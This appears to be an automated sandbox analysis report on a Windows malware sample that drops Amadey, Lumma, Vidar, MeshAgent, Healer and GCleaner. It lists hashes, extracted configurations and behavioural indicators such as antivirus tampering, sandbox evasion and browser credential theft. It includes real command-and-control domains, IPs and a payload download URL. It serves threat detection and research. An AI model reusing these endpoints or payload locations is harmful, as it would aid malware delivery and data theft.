amadey | 8e1738d6995847f6e3ecb4391548960f0bdc4e58c1653b0c3df0a19131017c59

Analysis

max time kernel
45s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
05/04/2025, 02:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Size

938KB
MD5

343c53977f082c3cb859f77bf1e9bbf4
SHA1

e970c10282e639cc9a7240ccb1cbd6867c2fe853
SHA256

8e1738d6995847f6e3ecb4391548960f0bdc4e58c1653b0c3df0a19131017c59
SHA512

de6de19afa178cd0cc03837a9c0a44b28c553d25508a63a346ccc1b41de56654769fc0c6b662aa504ba1dba10b56f11adc13b05dcf952d25fc1b56042559b579
SSDEEP

24576:8qDEvCTbMWu7rQYlBQcBiT6rprG8a47u:8TvC/MTQYxsWR7a47

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

https://puerrogfh.live/iqwez

https://jrxsafer.top/shpaoz

https://plantainklj.run/opafg

https://quavabvc.top/iuzhd

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://cosmosyf.top/GOsznj

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://navstarx.shop/FoaJSi

https://starcloc.bet/GOksAo

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

https://1targett.top/dsANGt

https://0ironloxp.live/aksdd

https://otargett.top/dsANGt

https://pepperiop.digital/oage

https://spuerrogfh.live/iqwez

Extracted

Family

vidar

Version

13.4

Botnet

f942dabea5a58a141236ae72e4720fbf

https://t.me/f07nd

https://steamcommunity.com/profiles/76561199843252735

Attributes

user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0

Extracted

Family

meshagent

Version

Botnet

test123

http://aaso12.duckdns.org:443/agent.ashx

Attributes

mesh_id
0x0CF4A8B0663DD2F1D3A44CE8D231621166DBDB1E723B374C911544DE2F45A87C6C52F7206CED32F5B6A52A5551B75A3C
server_id
22F126392DFCD804B6AF755F256A707D53ED8D200650E6BC853C95860F21B6B7049AF4EBEAB393E6EE1A9315B396BFC8
wss
wss://aaso12.duckdns.org:443/agent.ashx

Extracted

Family

gcleaner

185.156.73.98

45.91.200.135

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detect Vidar Stealer 32 IoCs

stealer

resource	yara_rule
behavioral1/memory/1340-129-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-130-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-167-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-175-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-183-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-190-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-193-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-211-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-214-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-217-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-221-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-223-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-416-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-440-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-441-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-452-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-455-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-553-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-555-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-627-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-632-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-707-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-1114-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-1154-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-1157-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-1195-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-1198-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-1211-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-1212-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-1342-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-1359-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/1340-1454-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7

Detects Healer an antivirus disabler dropper 3 IoCs

resource	yara_rule
behavioral1/memory/11240-1750-0x0000000000280000-0x00000000006F0000-memory.dmp	healer
behavioral1/memory/11240-1751-0x0000000000280000-0x00000000006F0000-memory.dmp	healer
behavioral1/memory/11240-2234-0x0000000000280000-0x00000000006F0000-memory.dmp	healer

Detects MeshAgent payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000700000002418f-282.dat	family_meshagent
behavioral1/memory/4140-288-0x00007FF712260000-0x00007FF7125D5000-memory.dmp	family_meshagent

GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner
Healer
Healer an antivirus disabler dropper.
dropper healer
Healer family
healer
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
MeshAgent
MeshAgent is an open source remote access trojan written in C++.
rat trojan backdoor meshagent
Meshagent family
meshagent

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	3760	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3760	powershell.exe
3120	powershell.exe
5900	powershell.exe
5772	powershell.exe
6812	powershell.exe
4864	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 10 IoCs

flow	pid	Process
15	3760	powershell.exe
48	3280	futors.exe
82	3280	futors.exe
82	3280	futors.exe
82	3280	futors.exe
38	4420	rapes.exe
130	4420	rapes.exe
156	4420	rapes.exe
44	4420	rapes.exe
151	3280	futors.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2964	takeown.exe
4412	icacls.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" "	s.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 21 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
5864	msedge.exe
32440	msedge.exe
13016	msedge.exe
2780	chrome.exe
5872	msedge.exe
4560	msedge.exe
4480	chrome.exe
2164	chrome.exe
4428	msedge.exe
37788	chrome.exe
37164	chrome.exe
37068	chrome.exe
33452	chrome.exe
32452	msedge.exe
400	chrome.exe
3456	chrome.exe
5648	msedge.exe
37156	chrome.exe
13028	msedge.exe
12896	msedge.exe
12888	msedge.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	272.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	e8e9cdd2e5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	amnew.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	futors.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	272.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	apple.exe

Executes dropped EXE 15 IoCs

pid	Process
4236	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
4420	rapes.exe
2628	amnew.exe
3280	futors.exe
3032	trOUuPI.exe
1456	v7942.exe
3108	apple.exe
744	272.exe
4044	272.exe
2164	alex12312321.exe
2584	legendarik.exe
5200	MeshAgent.exe
5588	158020eadb.exe
3892	e8e9cdd2e5.exe
5764	svchost015.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Wine	rapes.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2964	takeown.exe
4412	icacls.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0007000000024329-1549.dat	autoit_exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\804D6BAC4180D460D5C2015A177B4B79C28F9D47	MeshAgent.exe
File opened for modification	C:\Windows\System32\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\kernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\apphelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\shcore.pdb	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\4B2D25261E1635EBC05CA0A52F11306CE05D12CC	MeshAgent.exe
File opened for modification	C:\Windows\System32\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\kernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\D029A20803B12BDC90BA22691839EDB02CE488E3	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\804D6BAC4180D460D5C2015A177B4B79C28F9D47	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\symbols\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\win32u.pdb	MeshAgent.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
5680	tasklist.exe
1572	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4236	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
4420	rapes.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 3032 set thread context of 4552	3032	trOUuPI.exe	113
PID 1456 set thread context of 1340	1456	v7942.exe	115
PID 2164 set thread context of 8	2164	alex12312321.exe	185
PID 2584 set thread context of 3700	2584	legendarik.exe	201
PID 5588 set thread context of 5764	5588	158020eadb.exe	215

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.db.tmp	MeshAgent.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.exe	s.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.db	MeshAgent.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.db.tmp	MeshAgent.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe

Drops file in Windows directory 15 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
File created	C:\Windows\Tasks\futors.job	amnew.exe
File opened for modification	C:\Windows\DependMedication	e8e9cdd2e5.exe
File opened for modification	C:\Windows\ExceedExec	e8e9cdd2e5.exe
File opened for modification	C:\Windows\AndorraPrint	e8e9cdd2e5.exe
File opened for modification	C:\Windows\CongressJvc	e8e9cdd2e5.exe
File opened for modification	C:\Windows\PolarRail	e8e9cdd2e5.exe
File opened for modification	C:\Windows\LocksWisconsin	e8e9cdd2e5.exe
File opened for modification	C:\Windows\SyntheticLil	e8e9cdd2e5.exe
File opened for modification	C:\Windows\MadnessSet	e8e9cdd2e5.exe
File opened for modification	C:\Windows\AucklandChef	e8e9cdd2e5.exe
File opened for modification	C:\Windows\ZuMiller	e8e9cdd2e5.exe
File opened for modification	C:\Windows\DealersFocuses	e8e9cdd2e5.exe
File opened for modification	C:\Windows\NewcastlePeripherals	e8e9cdd2e5.exe
File opened for modification	C:\Windows\LimeNirvana	e8e9cdd2e5.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4544	sc.exe
1904	sc.exe
3200	sc.exe
748	sc.exe
1044	sc.exe
4612	sc.exe
4676	sc.exe
904	sc.exe
1940	sc.exe
924	sc.exe
4652	sc.exe
2044	sc.exe
3244	sc.exe
4416	sc.exe
2360	sc.exe
924	sc.exe
4292	sc.exe
4540	sc.exe
4524	sc.exe
1592	sc.exe
2888	sc.exe
3504	sc.exe
2040	sc.exe
2516	sc.exe
2092	sc.exe
4172	sc.exe
1748	sc.exe
400	sc.exe
3892	sc.exe
4012	sc.exe
5052	sc.exe
2200	sc.exe
1384	sc.exe
4540	sc.exe
1732	sc.exe
4584	sc.exe
3964	sc.exe
4340	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 8 IoCs

pid	pid_target	Process	procid_target
17612	5936	WerFault.exe	274
9536	17560	WerFault.exe	280
30816	9712	WerFault.exe	312
30780	3668	WerFault.exe	311
8244	32248	WerFault.exe	347
28968	9756	WerFault.exe	377
22812	18108	WerFault.exe	378
13068	22644	WerFault.exe	391

System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e8e9cdd2e5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
